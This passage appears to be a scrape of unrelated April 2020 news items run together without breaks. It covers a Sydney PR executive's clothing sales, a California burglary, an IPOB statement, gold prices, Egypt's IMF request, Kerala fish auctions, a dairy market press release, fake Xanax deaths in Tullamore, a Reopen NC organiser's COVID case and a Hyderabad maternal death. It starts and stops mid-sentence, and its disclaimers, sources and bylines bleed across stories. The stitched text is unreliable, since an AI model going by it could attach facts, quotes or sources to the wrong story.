he said. He advised people who had bought the products to lodge a formal complaint with the police. Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Roxy Jacenko is known for her impeccable taste in designer clothes and handbags. And while she has lost 85 per cent of her Sweaty Betty clients because of the COVID-19 pandemic, the PR maven, 40, is turning to another revenue stream - selling her luxury clothes online. The business savvy mother-of-two told The Daily Telegraph on Tuesday that she has previously sold her designer clothes online as she doesn't like to over-wear her purchases. 'I'm not a hoarder by any stretch': PR maven Roxy Jacenko is selling her designer clothes online amid the COVID-19 pandemic. She is selling a black YSL mini dress - for $1,250 - which she wore at the spring racing carnival (pictured in the dress alongside husband Oliver Curtis) Roxy said about selling: 'I've always done that (sell designer items). I'm not known as a hoarder by any stretch, I sell everything.' Among the items she is selling is a black YSL mini dress with structured shoulders and a diamante trim detail - for $1,250 on The Luxe Base - which she advertised on her Instagram on Wednesday. She had worn the designer dress on Derby day during the Melbourne spring racing carnival alongside Oliver Curtis, back in 2017. Always looking for new: The business savvy mother-of-two told The Daily Telegraph on Tuesday that she's has previously sold her designer clothes online as she doesn't like to over-wear the same item Not for sale: However, she told the publication she will not be selling her $1million handbag collection, which includes a number of Chanel purses and Hermes Birkin bags She explained that she once earned $70,000 from selling her luxury items online and PayPal blocked her account because they thought it was 'fraudulent' activity. 'With Instagram you can't be whirling out the same garment 10 times over. Everyone will be saying "god she's wearing that again, she's getting her money's worth",' she added. However, she told the publication she will not be selling her $1million handbag collection, which includes a number of Chanel purses and Hermes Birkin bags. Although Sweaty Betty PR has taken a hit, Roxy said she was lucky enough to have diversified her business to create five companies in total. Diversified: Although Sweaty Betty PR has taken a hit, losing 85 per cent of her clients as a result of COVID-19, Roxy said she was lucky enough to have diversified her business to create five companies in total New work life: She told Daily Mail Australia that she is still working, but in shorter hours and from home amid the COVID-19 pandemic She told Daily Mail Australia earlier this month that she is still working, but in shorter hours and from home. 'Whilst Sweaty Betty PR was hit hard by COVID-19 I diversified many years ago,' she said. 'I am in a good position with my other agencies operating as normal - 18Communications, Social Union, The Ministry of Talent not to mention my personal investments,' she added. REDDING, Calif. Police said they caught and arrested three burglary suspects seen running from the Goodwill in Redding. Police were called to the store on Hilltop Drive just before 5 p.m. Sunday, after a security company called to report a burglary in progress. Officers said an off-site security company observed three suspects inside of the business on their surveillance system. Investigators said Lacee Waers, 31, Daniel Wallace, 32, and Timothy Bailey, 37, all of Redding, gained access to the store from an outside roll-up door. Two of the suspects were then seen handing merchandise to the third suspect, who had stepped outside of the roll-up door. The trio faces charges that include commercial burglary, possession of stolen property, and resisting arrest. Timothy Bailey is currently on parole for burglary and was also booked for a parole violation. The Indigenous People of Biafra, IPOB, has described the allegation by a social media personality, Kemi Omololu-Olunloyo, that its leader Mazi Nnamdi Kanu, is dead as the height of deceit, cocktail of madness and irresponsible social media practice. IPOB also said that the likes of Kemi Omololu-Olunloyo are the people that are bringing bad name to Social media and should be ignored and not to be taken serious because nothing good will come from her and her outfit. In a statement by IPOBs Media and Publicity Emma Powerful, the pro Biafra group said it would not have ordinarily join issues with the the social media personality, because she is a roadside service provider to gullible people that wants to use the name of IPOB and its leader Mazi Nnamdi Kanu, to get rich and be relevant, but to tell the world for the last time that it will not respond to allegations of people like Olunloyo who think that the only way to get rich and relevant is conniving with the cabal in Aso Rock to destroy the name of leader, and wishing him death. We are aware that she has collected money from the Nigerian Federal Government like her likes have been doing to tarnish the image of IPOB and Mazi Nnamdi Kanu and is therefore doing everything possible to justify her pay, as well as be relevant to her pay masters, the current administration she is working for in Nigeria. We are telling the lovers of IPOB, Mazi Kanu that this is the last time we will respond to any fake information coming from Kemi Omololu-Olunloyo, because it a waste of our previous time and that of our members and lovers. Our God ordained leader, the prophet of our time Mazi Nnamdi Kanu is hale and hearty and too busy with issues of Biafra and international community, the world will be convince with his oncoming radio broadcast to continue to expose the rot in Nigeria and the lies and irresponsible social medial journalist of Olunloyo to grave. Follow Us on Facebook @LadunLiadi; Instagram @LadunLiadi; Twitter @LadunLiadi; Youtube @LadunLiadiTV for updates Editor's Note: With so much market volatility, stay on top of daily news! Get caught up in minutes with our speedy summary of today's must-read news and expert opinions. Sign up here! (Kitco News) - The gold market is under renewed selling pressure as weak economic data disappointing consumer sentiment numbers -- is unable to attract safe-haven flows. Tuesday, the U.S. Conference Board, said that its Consumer Confidence Index fell sharply to a reading of 86.9, down from Marchs reading of 120. The data were weaker than expected as consensus forecasts, economists were expecting a reading around 88. The gold market is struggling to hold support above $1,700 even following the disappointing economic data. June gold futures last traded at $1,707.70 an ounce, down 0.93% on the day. U.S. consumer confidence has been decimated since mid-March as the nation has implemented lock-down measures in an attempt to stop the devastating spread of the COVID-19 pandemic. Nearly 95% of Americas are requested to stay at home as all nonessential businesses have been closed. The drop in the headline data reflects a sharp decline in the current outlook. The Conference Board said that its present situation index fell to a reading of 76.4 points, down from Marchs reading of 166.7. The 90-point drop in the Present Situation Index, the largest on record, reflects the sharp contraction in economic activity and surge in unemployment claims brought about by the COVID-19 crisis, said Lynn Franco, senior director of economic indicators at The Conference Board. Meanwhile, the report noted that the expectations index was slightly better than expected, rising to a reading of 93.8, up from Marchs reading of from 86.8. However, consumers were less optimistic about their financial prospects and this could have repercussions for spending as the recovery takes hold. The uncertainty of the economic effects of COVID-19 will likely cause expectations to fluctuate in the months ahead, Franco added. Although the data were worse than expected, Andrew Grantham, senior economist at CIBC said that the report was not shocking. There's little surprising in today's release and clearly consumer spending will be a big drag on growth in Q2, he said. This week Egypt followed many countries and asked the International Monetary Fund (IMF) for financial support to help weather the coronavirus crisis. Talks about a deal are expected to start within days. The IMF has secured $1 trillion in lending capacity to help it meet an unprecedented number of emergency financing requests from over 90 member countries so far, according to IMF Managing Director Kristalina Georgieva. Egypt opted to resort to the international lender less than six months after the end of its three-year agreement. The virus has placed unprecedented pressure on the economy, straining the balance of payments. Prime Minister Mustafa Madbouli said in a press conference on Sunday that the government would use IMF financing to support the tourism industry which has been hard hit by the closure of airports in March. The cabinet last week approved a six-month debt and utilities payment holiday for tourism companies, hotels and private airlines. Travel restrictions have brought the countrys tourism industry, which was close to returning to its pre-Arab Spring peak, to a grinding halt, Jason Tuvey, senior economist at the London-based Capital Economics, told Al-Ahram Weekly. Tourism receipts are a vital source of foreign currency for Egypt. The industry accounts for just over six per cent of GDP and 4.5 per cent of total employment. Decimated by the 2011 Revolution and the aftermath of a terrorist attack that grounded a flight in 2015 killing all its passengers, tourism revenues had finally started to recover when the global pandemic hit. The problems, says Tuvey, are compounded by a slowdown in demand for Egyptian exports, most of which go to Europe, and the downturn in global trade which is pushing down Suez Canal revenues. The crisis is also threatening remittances from Egyptians working abroad, especially in the Gulf region which is suffering the consequences of the severe decline in oil prices. Remittances from abroad currently account for 8.8 per cent of GDP, while Suez Canal revenues provide two per cent. The drop in tourism receipts, canal revenues and remittances translates into a current account deficit of more than $14 billion on a rolling 12-month basis, calculates Allen Sendeep, head of research at Al-Naeem Brokerage. The situation has been exacerbated by a fast outflow of foreign investment in treasuries as investors liquidate their holdings, says Amr Al-Alfi, senior economist and secretary of the CFA Society in Egypt. According to Al-Alfi, the value of investments in treasuries has declined by half since the coronavirus outbreak. The pandemic is also cutting growth rate projections. We expect to see negative figures for the quarter ending in June and the quarter after. Part of the reason will be decline in tourism impacting on jobs and the current account. Remittances will be hit as well due to lockdowns across the Gulf, Charles Robertson, chief economist at Renaissance Capital, said during an online conference call on the Egyptian economy held last week. Robertson added that it is widely assumed GDP will slow down to two to four per cent from the governments initial guidance of 5.6 per cent in the current fiscal year, and then another two to four per cent in the fiscal year that follows. IMF support is important during these exceptional circumstances to maintain the stability of Egypts economic indicators and guard against negative effects that could hinder its ability to return to economic growth, IMFs Georgieva said in a statement commenting on Egypts application for assistance. We fully support the governments aim to safeguard the significant gains made under the successfully completed three-year Extended Fund Facility last year, the statement added. Having successfully implemented tough fiscal reforms within a short span of time under its previous deal with the IMF, Egypt has an advantage over other countries applying for IMF support, says Sandeep. Egypt enjoys strong support from the US, the UK and the Gulf, meaning the debt crisis issue is hardly relevant despite Egypts high level of debt, Renaissance Capitals Robertson said in last weeks conference call. He pointed out that the fact Egypts economic outlook was not downgraded by S&P last week will stand Cairo in good stead in its IMF application. Despite the economic turmoil wreaked by the pandemic, Egypt is in a stronger position than when it asked for assistance at the end of 2016. A combination of stronger exports and weaker imports, attributable to the effects of the 2016 devaluation as well as a marked improvement in the energy trade balance, has supported a narrowing of the current account deficit, notes Tuvey. Egypts international reserves may have declined by $5 billion last month but their current level of $40.1 billion is triple that in 2016 and, according to Central Bank of Egypt Governor Tarek Amer, sufficient to cope with the impact of the epidemic for one or two years. Like most countries looking for a bailout, Egypt has asked for emergency financing via the IMFs Rapid Financing Instrument (RFI) which allows the government to address any immediate balance of payment needs and support the most affected sectors and vulnerable groups of people. But Egypt is one of the few countries to have also begun negotiations over a traditional Stand-By Arrangement (SBA) to support its strong set of macroeconomic policies. The total value of the assistance is yet to be revealed. While Capital economics expects that Egypts total support under both the RFI and SBA could amount to $15 billion, which would be enough to cover Egypts external financing needs for around a year, most local analysts anticipate a lower figure. In a commentary issued on Monday Radwa Al-Swaify, head of research at Pharos Security Brokerage, suggested Egypt would seek around $3 to $4 billion from the IMF. Sandeep estimates that Egypt is eligible for $2.85 billion under the RFI and $4.15 billion under SAB arrangements, and repayments would start between 3.25 and five years from the date of disbursement. Egypt has yet to begin repayments on the $12 billion already disbursed by the IMF. The stock market reacted positively to the IMF application, gaining 2.5 per cent on Sunday and ending flat on Monday. The value of transactions on the two days came in at 53 and 51 per cent more than the previous 90-day average, according to online news outlet Enterprise. The news came at a time when the market is optimistic that lockdowns will be relaxed in Egypt post-Ramadan, triggering a gradual recovery during the summer, says Al-Swaify. Whereas the emergency funding provided via the RFI does not come with conditions attached, the SBA does. The IMFs to-do list for Egypt is unlikely to be as long as it was in 2016. The focus is likely to be on ensuring the authorities do not repeat past mistakes and implement policies that threaten macro stability once the current crisis is over, says Tuvey. He expects the IMFs main concern to be the exchange rate, and the prioritising of structural reforms. There was little progress on the latter under the previous programme, says Tuvey. Steps were taken to improve the business environment but the privatisation programme stalled and land reform got nowhere. A deal with the IMF covering technical assistance on non-financial structural reforms has been on the table since Egypt completed its $12 billion Extended Fund Facility arrangement last year. Egypt signed the $12 billion Extended Fund Facility, under which its currency was devalued by half, a value added tax was introduced and fuel subsidies were slashed, in November 2016. *A version of this article appears in print in the 30 April, 2020 edition of Al-Ahram Weekly Search Keywords: Short link: Kerala: How small fishers in Kerala's Poonthura benefited from COVID time auction system by Nalini Nayak, Titto DCruz & Zeeta Dasan April 28,2020 | Source: Manorama Online Marine fishing in India has largely come to a standstill in the wake of COVID19 outbreak. In Kerala, the government has banned operation of mechanised boats. But small scale beach landing crafts are allowed to ensure fishers' sustenance and food security needs of the society. This relaxation is subject to the strict provisions that they should maintain physical distancing at sea and fish landing centres. Controlling the highly interactive fish landing centres in these times is a daunting task. Physical distancing hardly works in a market context where auctioning of the commodity is the norm. All public health warnings will be thrown to the fishy wind that blows across such fish marketing centres. Village-level efforts And yet, in some of the most densely populated fishing villages in Kerala, nay India, the lessons from trial and error and the collaborative efforts of local institutions, fishermen and women, officials of cooperatives, state administration and the police seem to have achieved the impossible. At least for the moment. Of course, there is still a long way to go to perfect a fish selling system which is based on physical distancing, standardisation of weights and predictable prices. But numerous village-level initiatives in Kerala's Thiruvananthapuram and Kollam districts are showing the way forward. Poonthura model Poonthura is a large fishing village within the Thiruvananthapuram Corporation limits. It has a population of nearly 10,000 and a coastline length of 1.2 kilometres of which one whole kilometre is stonewalled due to constant sea erosion and unfit for beaching fishing boats. Initially, the Church in this village - the most powerful socio-religious institution in any Christian fishing village - in keeping with the requirements of the lockdown, banned all fishing activities knowing that order would be difficult to maintain. But fishing continued in smaller and far less densely populated villages along the same coast. Fishers using small boats brought in small amounts of fish. Fish sales were organised by the initiative of the fishers, youth in the village, the parish priests and the police who were called to ensure that chaos did not ensue if a whole lot of buyers turned up on the beach. The fishers of Poonthura spent a few days obeying the Church diktat. But they became increasingly restless when they heard that neighbouring villagers' tales of fishing and big earnings. One night, a few fishers in Poonthura broke the ban. They got a bumper catch of squid that fetched Rs. 2.5 lakh. Their joy, however, was short-lived. The Church committee intervened and forced them to remit their bonanza to its fund after deducting the operating costs for their illegal venture. Following this, a few of the fisher members of the Matsyafed Cooperative in Poonthura held a meeting with the parish priest. They suggested ways for gradually reopening fishing, particularly in the light of the new government order permitting small-scale fishing, subject to the conditions of physical distancing and other public health considerations. The meeting concluded without arriving at a consensus. This prompted the cooperative members to create a multi-stakeholder committee of 22 members representing all the different interests involved in the fishing and fish selling activities of the village. The committee includes member and non-member fishers of the co-operative, private fish auctioneers, women fish vendors, youth and elders of the village, officials of the Matsyafed and the church committee. This committee decided to reopen fishing and regulate selling from April 17. The district collector hailed the decision, but he warned that fishing and selling would be stopped immediately if the activities violated physical distancing and public health norms. Difficulties In Poonthura, much of the village coastline is stonewalled and it cannot be used to land fish or sell in keeping with the stipulated norms. There is only one stretch of beach at the end of the village that could be used for organised fish selling. However, this area had no proper road access. It was a major limitation to ensure orderly flow of people and fish. The committee got over this physical impediment by setting up two check-posts at the entry point. Vehicles coming to transport fish to the retail markets used one while fish buyers used the other. They were issued 15 tokens at a time that are valid for 45 minutes. How it worked At the sandy portion of the beach ahead, five numbered and enclosed spaces have been created with barricades. Sorted fish brought from the boats in boxes are displayed and weighed here. Each barricade has 15 chairs - spaced out by 1.5 metres - to seat the buyers. The buyers will be allowed into the numbered barricades when the fish arrives, but only after police verify their entry tokens and face masks. The youth volunteers, Matsyafed officials and the police exhibit great efficiency and courtesy in their dealings. The committee has prepared a price list for each fish species. This will be revised every two days and displayed prominently outside the stalls. Buyers will be issued payment receipts from the cooperative. Initial days The initial three days were chaotic. High decibel shouting and disagreements between fishers and organisers rented the air. Questions were raised about prices and weighing. Buyers haggled over which fish variety should be sold first. The new order appears to have disappointed traditional auctioneers as they find themselves marginalised. Fishing and fish buying involve a huge element of luck. A lottery element is innate to it. But ability, tact, quick judgement and prowess are the key ingredients of success. In one sense, bringing new order is creating chaos to the current system. But this is a process of learning. New social innovations can happen only like this. There are always gainers and losers. There must be ways to compensate or co-opt the losers least they try to sabotage the system. Auctioneers are the big losers in Poonthura and other large fishing villages. They are mostly influential persons in the church and society and pose a threat to the system. They provide the credit which keeps fishing going. Fishers are the biggest gainers in this process. They benefit from negotiated fixed prices without fear of a slump when the fish catch is on the higher side. The women and men particularly the smaller vendors stand to gain if they can organise themselves into small groups, pool their funds and purchase the premium species directly from the fishers, and sell it to the elite city consumers. Whether this new COVID-19 orientation to fishing and fish marketing will establish a new order will depend on how long we will keep these strict lockdown regulations in place and on whether a large enough number of key stakeholders see gain from the new practices. The support of local socio-religious institutions, government agencies and civil society will be key to ensure that this will be more than a transient experiment in social engineering. Please DOUX follow us Doux Reviews has been on the web since 2004 and features thousands of episode reviews of the best classic and current television shows as well as many book and movie reviews From nutrition and heat detection to shed design, service providers like to adopt a holistic dairy herd management plan. DUBAI, UAE / ACCESSWIRE / April 28, 2020 / The dairy herd management market will continue its upward momentum in the long run, despite witnessing multi-pronged challenges in 2020 due to COVID-19 crisis. Future Market Insights (FMI), in a new study, estimates annual growth rates to be over 6%, as effective animal health management gains the attention of policymakers and farm owners alike. US and Western Europe, regions most severely hit by COVID-19 crisis, will be key to a strong rebound in this market. "Revenue expansion of dairy industry, rising number of dairy cows and increasing exports to developed nations are the key factors driving the market," reveals the FMI report. Request report sample with 250+ pages to gain in-depth insights https://www.futuremarketinsights.com/reports/sample/rep-gb-11216 Key Research Findings? Milk management systems segment will account for major market share through the forecast period. Animal waste management will generate remunerative growth opportunities, driven by demand from Europe and North America. Large scale dairy farms, will lead the market in terms of adoption, while cooperative dairy farms will display a higher CAGR. Gains of the global dairy herd management market will remain largely concentrated in Europe, while North America and Asia Pacific will display steady growth.? Key Growth Drivers? Strong demand for dairy products including cheese, cream, and butter plays a major role in the growth of market. Rising levels of per capita income, favorable government initiatives, and high global population to add to the global footprint of players. Arbitration activities taken up by authorities is a factor influencing market regulation. The development of consumer awareness about the benefits of dairy management and organic foods, will drive adoption. Key Impediment to Market Growth The dairy herd management market is facing continued challenges owing to issues associated with unethical rearing of dairy cattle. The Coronavirus Impact Earlier, analysts predicted high growth driven by consumer disposable income. However, with the rapid and wide spread of the coronavirus outbreak, the dynamics of the industry have changed substantially. Governments have utilized measures of control such as nationwide lockdowns and restrictions on transportation. These trends are expected to have a negative impact on the global market. While global milk production continues to rise, disruptions in supply chains, minimal imports from China and lower surpluses will constrain the market. However, the market is expected to move towards recovery in the latter half of 2020. Explore the complete dairy herd management market report with 112 illustrative figures, 128 data tables, and the table of contents. Also find a detailed market segmentation on https://www.futuremarketinsights.com/askus/rep-gb-11216 Competition Structure Analysis - Dairy Herd Management Market The competition landscape of dairy herd management market is moderately fragmented. Key players are also investing in strategic collaborations within the industry, in addition to strategic mergers and acquisitions. Players are also focusing their efforts towards setting up competitive pricing strategies. Some of the key players in the dairy herd management market include, but are not limited to Zoetis, Alta Genetics Inc., Valley Agricultural Software, Dairymaster, Sum-it Computer Systems, Delaval Inc., SCR Dairy Inc., Afimilk, Aktiengesellschaft Lely, BouMatic LLC, GEA Group, and Fullwood Packo. Explore Future Market Insights' detailed coverage on,? Ready to Eat Food Market- This research report provides a comprehensive range of insights which identify essential strategies, revenue sectors, and major growth opportunities, associated with ready to eat food products. Feed Enzymes Market- This report includes a detailed analysis on competitive scenarios, and essential information on major players in the feed enzymes market. Almond Ingredients Market- This write up encompasses detailed secondary research, which is used to estimate key industry players, overall size of the almond ingredients market, and relevant industry associations.?? Gain access to Market Ngage, an AI-powered, real-time business intelligence platform that goes beyond the conventional research solutions to solve the complex strategy challenges that organizations face today. About the Report This report offers global, regional, and national level analysis on the latest trends in the industry influencing the dairy herd management market. The study provides actionable insights on the dairy herd management market on the basis of product type (automated dairy management systems, milk management systems, reproductive health management systems, feeding/nutrition management systems, cattle management systems, herd disease management systems, standalone software, on-premise software, and web-based/cloud-based software), application (milk harvesting, feeding, breeding, cow comfort and heat stress management, calf management, health management, and others), and end user (small-scale dairy farms, large-scale dairy farms, and cooperative dairy farms), across 30 countries spanning seven key regions (North America, Latin America, Europe, East Asia, South Asia, Oceania, and MEA). About Future Market Insights (FMI) Future Market Insights (FMI) is a leading provider of market intelligence and consulting services, serving clients in over 150 countries.?FMI?is headquartered in London, the global financial capital, and has delivery centers in the U.S. and India. FMI's latest?market research reports?and industry analysis help businesses navigate challenges and take critical decisions with confidence and clarity amidst breakneck competition.? Contact: Mr. Abhishek Budholiya Unit No: AU-01-H Gold Tower (AU), Plot No: JLT-PH1-I3A Jumeirah Lakes Towers, Dubai United Arab Emirates MARKET ACCESS DMCC Initiative For Sales Enquiries: sales@futuremarketinsights.com? For Media Enquiries: press@futuremarketinsights.com Report: https://www.futuremarketinsights.com/reports/dairy-herd-management-market Press Release Source: https://www.futuremarketinsights.com/press-release/dairy-herd-management-market SOURCE: Future Market Insights View source version on accesswire.com:https://www.accesswire.com/587356/Dairy-Herd-Managementwill-Assume-Greater-Significance-in-Post-COVID-19-Worldas-Safety-Hygiene-will-Cease-to-be-an-Afterthought--Future-Market-Insights Three people have been arrested for allegedly killing a railway carpenter, said police on Tuesday. The accused have been identified as the victim's wife Rishika, mother-in-law Rama Devi and her paramour Davendra, alias Kansa. The victim, identified as Surjeet, was a resident of the Punjab Lines colony. He lived there with his wife and a four-year-old son. DSP Dharmendra Chauhan said the accused have confessed to their crime. During investigation, police found discrepancies in their statements after which they were arrested. Police said they admitted that Surjeet was opposing his mother-in-law Rama's illicit relationship with Kansa. Rishika knew about it but never objected to the relationship. Surjeet often had an argument with them over the issue. On Monday, he again had an argument with them after which the accused allegedly made a plan to eliminate him. Police said Rama invited the victim for a dinner at her residence. According to the plan, they hit him on his head with an iron rod and strangled him to death. They threw the body in a nearby vacant dilapidated house. The body was found in a poll of blood by police, the DSP said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The old Clonamore House Hotel in Tullamore which is used for homeless accommodation Gardai believe a criminal, who was questioned last June about a murder, bought deadly drugs on the 'dark web' which were responsible for the deaths of two women. Two men were also admitted to hospital in a serious condition. A major garda investigation is ongoing into the tragic events at the old Clonamore House Hotel in Tullamore, Co Offaly - which is used for homeless accommodation - where it is suspected that four residents of the facility took fake Xanax tablets. The two women who died were named locally as Angela Kelly (44), who was also known as Andrea and died in Clonamore House on Sunday, as well as Amy Mannix (19), who died at the hostel yesterday morning. Both women had previously lived in Portlaoise but it is understood that Ms Mannix was originally from Co Kerry. Fighting A 23-year-old man was in a critical condition and fighting for his life last night at the Midland Regional Hospital in Tullamore. Another 32-year-old man was also being treated in the same hospital but his condition was not described as life-threatening. Both men had previously lived in Portlaoise. Officers are also investigating whether the sudden death of another man in Tullamore last Wednesday is linked to the same lethal batch of dodgy drugs. A senior source told the Herald last night that detectives believe all five people consumed what are known as "Xanax sticks", which were purchased on the internet last week. The criminal who is suspected of sourcing the deadly batch was last year quizzed about the murder of William Delaney, a 56-year-old whose body has never been found despite major searches at the Rock of Dunamese in Portlaoise last June. In 2019, the coroner for Northern Ireland called the rising number of deaths linked to counterfeit versions of the anti-anxiety drug Xanax "an escalating crisis". Gardai yesterday announced details of the Co Offaly tragedy. "Gardai in Tullamore have commenced an investigation following the unexplained deaths of two women in Tullamore, Co Offaly," a spokesman said. "On Sunday, gardai were called to a hostel in Tullamore town, where a woman aged 44 years was discovered in an unresponsive state. She was pronounced dead at the scene a short time later. "Her body was removed to Tullamore Hospital for a post-mortem examination. "This morning [Monday] at the same location emergency services were called to treat a woman aged in her late teens. "She was pronounced dead at the scene a short time later and her body has since been removed to the mortuary at Tullamore Hospital, where a post-mortem will be carried out. "While at the hostel a 23-year-old man became unresponsive and was removed by ambulance to Tullamore Hospital. "His condition is understood to be critical. A second man aged 32 years was also taken to hospital for treatment. His condition is not thought to be life-threatening. "Gardai are liaising with the HSE and CADS, a local community alcohol and drugs support group, in relation to the case. "The deaths are not thought to be Covid-related and gardai are awaiting post-mortem and toxicology results to determine the course of a their enquiries," the spokesman added. Alarmed A spokesperson from Pfizer, the manufacturer of Xanax, previously spoke about the dangers of fake versions of the drug and said they were "alarmed by the rise of counterfeit Xanax" on the internet. "We have found dangerous ingredients such as boric acid, heavy metals and floor polish in counterfeit medicines," the company said in 2018. Last night, a senior source said that a chronic shortage of illegal drugs in Ireland because of the coronavirus pandemic is leading to an increase in people attempting to buy drugs on the internet. "As you can see, the consequences of this can be very grave indeed - this seems to be a very bad batch," the source said. Share this article Whatsapp Facebook Twitter Linkedin Tri Indah Oktavianti (The Jakarta Post) Jakarta Tue, April 28 2020 Law and Human Rights Minister Yasonna Laoly is being sued by civil society groups in Surakarta, Central Java, over his decision to give early release or parole to more than 30,000 inmates nationwide. The minister has claimed that the assimilation program for prisoners and juvenile inmates is part of efforts to contain the spread of COVID-19 behind bars. Official data show that Indonesia has a total of 270,386 inmates and that it has exceeded more than twice the official capacity of its detention facilities. With overcrowded cells and unsanitary environments, prisons are considered in great danger of COVID-19 outbreaks. to Read Full Story SUBSCRIBE NOW Starting from IDR 55,000/month Unlimited access to our web and app content e-Post daily digital newspaper No advertisements, no interruptions Privileged access to our events and programs Subscription to our newsletters We accept Register to read 3 premium articles for free Already subscribed? login Actor Kalki Koechlin has been quarantined with her daughter Sappho and partner Guy Hershberg and iften shares moments from their lives. In her latest video, she sings a lullaby to her baby girl. Sharing it, she wrote on instagram, Nessa Rua This is a Portuguese lullaby I learnt when playing the Portuguese character Tara in the web series Smoke. Watch out for the sparrows who make an appearance in our song. In the video, Sappho is in a pram while Kalki sits next to her. She is playing the guitar as Sappho looks at her. Kalki has been sharing quite a few posts on Instagram with her daughter and of her boyfriend Guy Hershberg. Sharing a father and daughter picture some time back, she had written: Tiger on tree #sappho @guyhershberg. In February this year, Kalki and Guy had become parents to a baby girl. The 36-year-old actor had taken to Instagram and shared a picture, writing, Please welcome Sappho. The actor had named her daughter after the famous Greek poet, Sappho, whom she also quoted in her Instagram post. Born 07/02/20. She just spent 9 month wrapped up like a momo in my uterus. Lets give her some space. Thank you for all the good wishes and positive energy pouring in, she had written. Also read: Ayushmann Khurrana and Kartik Aaryan refused Hungama 2, says Priyadarshan: Maybe they think Im outdated, dont like to beg actors Kalki announced last year that she was expecting her first child with Guy, a classical pianist from Jerusalem. The actor, in a long Instagram post, said she has respect for all the women, who go through the intense and gruesome experience of birth. Be it vaginal or c section, so many of whom are not given credit or support for the biggest challenges they face, but are expected to do it out of some kind of duty. The process takes a huge toll, both psychological and physical and should have the backing of an entire community to truly heal, she wrote. Ending her post with a poem by Sappho, widely regarded as one of the greatest lyric poets, Kalki wrote, Some say an army of horsemen or infantry, A fleet of ships is the fairest thing on the black earth, but I say its what one loves. (With PTI inputs) Follow @htshowbiz for more [April 27, 2020] DriveLock Expands in ANZ With a New Channel Sales Manager SYDNEY, April 28, 2020 /PRNewswire/ -- DriveLock, the leading German Endpoint Protection provider, has appointed David Weinstein as Channel Sales Manager for Australia and New Zealand. Weinstein will be based out of DriveLock's Sydney office and joins the company with over 23 years of experience in the Cyber Security and Cloud Software industry, having spent the last 15 years with Global Vendors such as Juniper Networks and Dell EMC. His knowledge and understanding on how to propel channel enablement for leading technology Vendors will be highly advantageous in enabling the Channel to deliver on DriveLock's industry-leading Zero Trust Platform. - Cross reference: Picture is available at AP Images (< rel="nofollow" href="http://www.apimages.com" rel="nofollow">http://www.apimages.com) - "I thrive off of the opportunity to work for industry-leading technology companies and am excited to join DriveLock during this pivotal moment in the Global Economy and securing our approach on working from home. This will bring new security risks to organisations across the globe." "I am passionate about building relationships and developing Channel Go-to-Market strategies by aligning channel systems to deliver unprecedented value to partners and customers," says Weinstein. Customers are looking for partners that effectively manage end-to-end solutions. We want partners that are focused on solving customer business problems and prioritising their security posture on-premise, in the cloud, or as a managed service. DriveLock is committed to our local presence with security-focused resellers, MSPs, and MSSPs in ANZ. We work across all industry verticals and organisation sizes. A key growth area will be enabling partner-led services. "We are happy to have someone with David's experience and expertise on board the DriveLock team to push our channel growth in ANZ. At this point, we need to successfully manoeuvre through the current challenging circumstances and pursue future market opportunities", says Ralf Hart, VP of Global Sales. For details, please contact [email protected] +498999388725 SOURCE DriveLock SE [ Back To TMCnet.com's Homepage ] The administrator of a Facebook page behind major rallies calling for North Carolina to be reopened amid the coronavirus pandemic said she has tested positive for Covid-19 and was planning to attend the next demonstration. Audrey Whitlock, who runs the Reopen NC Facebook page that has accrued over 70,000 members, wrote in a statement that she had been self-quarantined in her home since testing positive for the novel virus. More than 9,000 people in North Carolina have contracted the virus, according to the latest data, and 306 people have died across the state. In a post on the private Facebook group, Ms Whitlock said she had not attended any of the previous demonstrations after travelling to the West Coast and testing positive for Covid-19 in February. When they started doing antibody testing (select labs) I went and had one done just out of curiosity to see if what I had in Feb was COVID, she wrote, the Raleigh News and Observer reported. The test came back positive for COVID and negative for the antibodies, so I had a CDC test performed. She added: After an abundance of caution I notified my primary care physician who advised me on what to do, and I have been in my house ever since!" Ms Whitlock, who reportedly said she was asymptomatic in her Facebook post, described herself as having been forced to quarantine and denied my 1st amendment right of freedom of religion due to her test results. I have been told not to participate in public or private accommodations as requested by the government, she claimed. If I were an essential employee, I would be denied access to my job by my employer and the government, though compensated, those with other communicable diseases are afforded the right to work. It has been insinuated by others that if I go out, I could be arrested for denying a quarantine order. She also noted that her quarantine had ended on 26 April, allowing her to attend this weeks Reopen NC event scheduled for Tuesday. Ms Whitlock described her symptoms as including a severe cough and having trouble breathing at night while noting three people in her household contracted the novel virus. Despite many people undergoing two-week quarantine periods after having been exposed to or contracting Covid-19, health officials remain uncertain as to how long it takes for people to no longer have the ability to spread the disease. Some experts have said two weeks is roughly about the incubation time for the novel coronavirus. Hundreds of protestors packed street throughout North Carolina last week while protesting the Democratic governors stay-at-home guidelines. The orders have been implemented until 8 May. A 20-year old woman died in Hyderabad on Monday night, a day after delivering a baby boy, as she was forced to move from one hospital to another in three days to rule out the possibility of her being Covid-19 infected, her relatives said. The womans new-born baby also died of respiratory disorders, a day before she died fighting anaemia and hypertension. The deceased was identified as Jenila, from Yapadinne village of Gadwal district in Telangana. Mahendar, the womans husband, told reporters that she went into labour on April 24 and was rushed to district hospital at Gadwal, where doctors referred her to a bigger hospital at Kurnool in the neighbouring Andhra Pradesh state, which is around 50 km away, as she was suffering from severe anaemia and blood pressure. However, Mahender could not take her to Kurnool, which was under complete lockdown as it has highest number of positive cases for Covid-19 (332 cases and nine deaths till Tuesday) in the state and the only government hospital in the town has been converted into a Covid-19 speciality hospital. Having no other option, he managed to move her to Mahabubnagar government hospital, about 60 km away, thanks to the ambulance arranged by the Gadwal police. But the doctors at Mahabubnagar also did not want to take risk, as the couple hails from Gadwal, which also has a high incidence of Covid-19 (45 positive cases and one death) cases. They asked him to shift her to Government Maternity Hospital, Koti, in Hyderabad. On April 25, Jenila was brought to Hyderabad and taken to Koti hospital, where the doctor suggested that she be first tested for Covid-19 virus, as she had come from Gadwal, declared as a red zone. She was rushed to Gandhi Hospital, the designated hospital for Covid-19 in Secunderabad, for the test. A day later, Jenila tested negative and from Gandhi, she was shifted to the government maternity hospital, Petla Burz, where she gave birth to a baby boy. Since the child was also weak and had some respiratory problems, he was shifted to Niloufer Childrens Hospital, but died later that evening. As Jenilas condition also became critical, she was shifted to Osmania General Hospital, where she died at around 8.30 pm on Monday. Had the doctors treated her as an emergency case and given her the best treatment in time, she would have survived. It was because of their negligence and delay in treating her on suspicion of 